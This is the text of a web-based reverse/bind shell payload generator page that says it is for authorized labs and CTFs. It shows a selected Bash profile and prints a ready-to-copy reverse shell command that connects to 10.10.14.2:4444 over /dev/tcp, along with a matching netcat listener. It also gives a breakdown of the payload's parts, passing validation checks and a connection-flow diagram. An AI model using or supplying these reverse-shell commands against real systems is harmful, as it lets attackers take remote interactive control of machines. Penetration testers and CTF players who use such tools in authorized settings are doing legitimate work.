Regaan/ LAB

Instrument 10 · reverse / bind / handlers / encoding

Payload Generator

CONTROL MATRIX59 profiles · authorized labs / CTFs
PORT STATEUSER RANGE
SELECTED PROFILEBash -i
FAMILYReverse
PLATFORMLinux / macOS
LANGUAGEBash
OUTPUTRaw
/bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1

Choose a profile, then copy, download or share the configured output.

MATCHING LISTENERNetcat · TCP
nc -lvnp 4444
PAYLOAD ANATOMY5 layers
01
Runtime/bin/bash

Interpreter or command processor selected for the session.

02
Endpoint10.10.14.2:4444

Destination embedded into the generated command.

03
Control operators0>&1

Pipes, separators and file-descriptor routing controlling data flow.

04
Network primitive/dev/tcp

Mechanism used by this profile to establish or receive a connection.

05
Generated output45 chars · 45 bytes

Size before the selected output transformation is applied.

VALIDATION ENGINE5/5 checks pass
PASS
Endpoint syntax

PRIVATE IPV4 · 4444

PASS
Port privileges

Port is in the user range.

PASS
Transport profile

TCP is consistent with the selected profile.

PASS
Listener pairing

A matching listener or handler was generated.

PASS
Endpoint substitution

Host and port are present in the resolved output.

CONNECTION-FLOW SIMULATORvisual model · no traffic generated
01Operator listener10.10.14.2:4444
02TCP channelTCP
03Target runtimeBash
04Interactive shell/bin/bash

Step through the conceptual path from listener setup to the interactive shell.

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